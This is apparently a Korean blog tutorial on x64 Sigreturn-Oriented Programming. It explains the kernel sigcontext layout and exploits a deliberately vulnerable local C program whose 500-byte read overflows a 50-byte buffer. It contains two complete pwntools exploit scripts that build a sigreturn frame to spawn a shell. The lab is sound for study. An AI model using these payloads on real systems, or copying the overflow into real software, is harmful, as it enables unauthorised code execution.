SROP (Sigreturn-Oriented Programming) - x64
1. SROP
이전 글에서 x86 아키텍처에 대한 SROP 방법을 알아보았다
x64 아키텍처에서 확인해보자
기본적으로 x86과 x64 의 signal & signal handler 동작은 동일하다
하지만 x64 환경이기 때문에 x86 레지스터와는 차이가 있다
2. Sigreturn
1. sigcontext
x64 환경에서는 sigreturn 시스템 콜이 호출되면, ucontext 구조체 안에 있는 sigcontext 를 기준으로 레지스터를 복원한다
→ 유저 스택에는 ucontext 구조체가 먼저 들어가고 그 안에 sigcontext 가 포함되는 것이다
struct ucontext_x32 {
unsigned int uc_flags;
unsigned int uc_link;
compat_stack_t uc_stack;
unsigned int uc__pad0; /* needed for alignment */
struct sigcontext uc_mcontext; /* the 64-bit sigcontext type */
compat_sigset_t uc_sigmask; /* mask last for extensibility */
};
sigcontext 는 ucontext 의 일부이기 때문에 커널은 스택에서 ucontext 구조체를 가져오게 된다
# else /* __x86_64__: */
struct sigcontext {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 rdi;
__u64 rsi;
__u64 rbp;
__u64 rbx;
__u64 rdx;
__u64 rax;
__u64 rcx;
__u64 rsp;
__u64 rip;
__u64 eflags; /* RFLAGS */
__u16 cs;
__u16 gs;
__u16 fs;
union {
__u16 ss; /* If UC_SIGCONTEXT_SS */
__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
};
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
struct _fpstate __user *fpstate; /* Zero when no FPU context */
# ifdef __ILP32__
__u32 __fpstate_pad;
# endif
__u64 reserved1[8];
};
x64 에 해당하는 구조체이다
x64 환경에서 sigcontext 가 ucontext 안에 있게 된다
SROP 를 진행할 때 sigcontext 앞에 ucontext 나머지 값을 더미 값으로 덮어씌워야 sigcontext 가 복원된다
→ sigcontext 앞에 40byte 정도의 dummy 값을 넣으면 된다
3. Exploit Method
1. 코드 확인
// Name : srop64.c
// Compile : gcc -fno-stack-protector -no-pie -o srop64 srop64.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
void vuln(){
char buf[50];
void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
printf("Printf() address : %p\n",printf_addr);
read(0, buf, 500);
}
void main(){
seteuid(getuid());
vuln();
}
BOF 가 발생하는 예제 코드로 실습해보자
checksec 으로 보호기법을 확인해보자
[*] '/home/gunp4ng/project/SF/srop/srop64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Partial RELRO, NX-bit 보호 기법이 걸려있는 것을 확인할 수 있다
vuln 함수의 어셈블리를 확인해보자
Dump of assembler code for function vuln:
0x00000000004011b6 <+0>: endbr64
0x00000000004011ba <+4>: push rbp
0x00000000004011bb <+5>: mov rbp,rsp
0x00000000004011be <+8>: sub rsp,0x40
0x00000000004011c2 <+12>: lea rax,[rip+0xe3b] # 0x402004
0x00000000004011c9 <+19>: mov rsi,rax
0x00000000004011cc <+22>: mov rdi,0xffffffffffffffff
0x00000000004011d3 <+29>: call 0x4010b0 <dlsym@plt>
0x00000000004011d8 <+34>: mov QWORD PTR [rbp-0x8],rax
0x00000000004011dc <+38>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004011e0 <+42>: mov rsi,rax
0x00000000004011e3 <+45>: lea rax,[rip+0xe21] # 0x40200b
0x00000000004011ea <+52>: mov rdi,rax
0x00000000004011ed <+55>: mov eax,0x0
0x00000000004011f2 <+60>: call 0x401090 <printf@plt>
0x00000000004011f7 <+65>: lea rax,[rbp-0x40]
0x00000000004011fb <+69>: mov edx,0x1f4
0x0000000000401200 <+74>: mov rsi,rax
0x0000000000401203 <+77>: mov edi,0x0
0x0000000000401208 <+82>: call 0x4010a0 <read@plt>
0x000000000040120d <+87>: nop
0x000000000040120e <+88>: leave
0x000000000040120f <+89>: ret
End of assembler dump.
- buf : rbp - 0x40
buf + SFP (72) 만큼 덮어씌우면 RET 영역을 덮어씌울 수 있다
2. 공격 순서
- sigreturn() 함수를 이용해 레지스터에 필요한 값을 저장한다
- rsp → sigreturn() 함수 호출 후 이동할 주소(syscall 명령어가 저장된 주소)
- rdi → "/bin/sh" 문자열이 저장된 주소
- rax → execve() 함수의 시스템 콜 번호
- rip → syscall 명령어가 저장된 주소
- cs → (user code) 0x33
- ss → (user data) 0x2b
- syscall 명령어 실행
64bit 환경에서 execve 함수의 시스템 콜 번호는 59 (0x3B) 이다
64bit 환경에서도 cs, ss 레지스터를 설정해줘야 한다
→ cs 는 0x33 ss 는 0x2b 가 사용된다
3. 필요한 정보 구하기
- pop rax; ret 가젯
- syscall 주소
- "/bin/sh" 문자열이 저장된 영역
위 3개의 정보를 알아야 한다
리눅스 커널 버전이 3.3 이상인 경우 Libc 영역에서 syscall & return 명령어를 찾을 수 있다
테스트 프로그램이 64bit 환경에 리눅스 커널 3.3 이상 버전에서 동작하기 때문에
Libc 영역에서 syscall & return 명령어를 찾을 수 있다
x64 환경에서 sigreturn 시스템콜 번호는 15 (0xF) 이다
pop rax; ret; 가젯의 주소를 찾아보자
pop rax; ret 가젯의 주소는 0x7ffff7dcfeb0 이다
syscall 가젯의 주소를 찾아보자
syscall 가젯의 주소는 0x7ffff7db3db4 이다
"/bin/sh" 문자열의 주소를 찾아보자"
"/bin/sh" 문자열의 주소는 0x7ffff7f62678 이다
4. sigcontext 구성
# else /* __x86_64__: */
struct sigcontext {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 rdi;
__u64 rsi;
__u64 rbp;
__u64 rbx;
__u64 rdx;
__u64 rax;
__u64 rcx;
__u64 rsp;
__u64 rip;
__u64 eflags; /* RFLAGS */
__u16 cs;
__u16 gs;
__u16 fs;
union {
__u16 ss; /* If UC_SIGCONTEXT_SS */
__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
};
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
struct _fpstate __user *fpstate; /* Zero when no FPU context */
# ifdef __ILP32__
__u32 __fpstate_pad;
# endif
__u64 reserved1[8];
};
x64 환경의 sigcontext 이다
위에서 구한 정보들을 바탕으로 sigcontext 를 구성해보자
payload += p64(0x0) #R8
payload += p64(0x0) #R9
payload += p64(0x0) #R10
payload += p64(0x0) #R11
payload += p64(0x0) #R12
payload += p64(0x0) #R13
payload += p64(0x0) #R14
payload += p64(0x0) #R15
payload += p64(binsh) #RDI
payload += p64(0x0) #RSI
payload += p64(0x0) #RBP
payload += p64(0x0) #RBX
payload += p64(0x0) #RDX
payload += p64(0x3b) #RAX
payload += p64(0x0) #RCX
payload += p64(syscall) #RSP
payload += p64(syscall) #RIP
payload += p64(0x0) #eflags
payload += p64(0x33) #cs
payload += p64(0x0) #gs
payload += p64(0x0) #fs
payload += p64(0x2b) #ss
payload += p64(0x0) # err
payload += p64(0x0) # trapno
payload += p64(0x0) # oldmask
payload += p64(0x0) # cr2
payload += p64(0x0) # fpstate
payload += p64(0x0) * 8 # reserved1[8]
- rsp → sigreturn() 함수 호출 후 이동할 주소(syscall 명령어가 저장된 주소)
- rdi → "/bin/sh" 문자열이 저장된 주소
- rax → execve() 함수의 시스템 콜 번호 59 (0x3B)
- rip → syscall 명령어가 저장된 주소
- cs → (user code) 0x33
- ss → (user data) 0x2b
필요한 레지스터만 설정하고 나머지는 오류를 방지하기 위해 0으로 채워주었다
5. 페이로드 구성
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
p = process('./srop64')
syscall = 0x7ffff7db3db4
binsh = 0x7ffff7f62678
poprax = 0x7ffff7dcfeb0
payload = b'\x90' * 72 # buf + SFP
payload += p64(poprax)
payload += p64(0xf)
payload += p64(syscall) # syscall (0xf)
payload += p64(0x0) * 5 # ucontext (40byte padding)
payload += p64(0x0) #R8
payload += p64(0x0) #R9
payload += p64(0x0) #R10
payload += p64(0x0) #R11
payload += p64(0x0) #R12
payload += p64(0x0) #R13
payload += p64(0x0) #R14
payload += p64(0x0) #R15
payload += p64(binsh) #RDI
payload += p64(0x0) #RSI
payload += p64(0x0) #RBP
payload += p64(0x0) #RBX
payload += p64(0x0) #RDX
payload += p64(0x3b) #RAX
payload += p64(0x0) #RCX
payload += p64(syscall) #RSP
payload += p64(syscall) #RIP
payload += p64(0x0) #eflags
payload += p64(0x33) #cs
payload += p64(0x0) #gs
payload += p64(0x0) #fs
payload += p64(0x2b) #ss
payload += p64(0x0) # err
payload += p64(0x0) # trapno
payload += p64(0x0) # oldmask
payload += p64(0x0) # cr2
payload += p64(0x0) # fpstate
payload += p64(0x0) * 8 # reserved1[8]
pause()
p.send(payload)
p.interactive()
sigcontext 앞에 ucontext 의 내용을 채워줄 더미 값을 40byte 입력한다
그 다음 sigcontext 의 구성대로 레지스터를 설정한다
셸을 얻은 것을 확인할 수 있다
6. pwntools - SigreturnFrame
매번 이렇게 sigcontext 를 확인하고 코드를 짜야하는 것은 아니다
pwntools 의 SigreturnFrame 을 이용하면 간단하게 코드를 작성할 수 있다
from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
p = process('./srop64')
syscall = 0x7ffff7db3db4
binsh = 0x7ffff7f62678
poprax = 0x7ffff7dcfeb0
payload = b'\x90' * 72 # buf + SFP
payload += p64(poprax)
payload += p64(0xf)
payload += p64(syscall) # syscall (0xf)
frame = SigreturnFrame(arch='amd64')
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsp = syscall
frame.rip = syscall
payload += bytes(frame)
# pause()
p.send(payload)
p.interactive()
SigreturnFrame 으로 아키텍처를 지정한 frame 을 생성한다
frame 에 맞는 레지스터에 값을 설정하고
byte 로 변환 후 전달하면 셸을 얻을 수 있다
'Hacking > Pwnable' 카테고리의 다른 글
Heap - ptmalloc2 (glibc) (0) | 2025.04.03 |
---|---|
Stack Pivoting (0) | 2025.04.02 |
SROP (x86) (0) | 2025.03.25 |
OOB(Out of Bound) (0) | 2025.03.18 |
Off by one (0) | 2025.03.17 |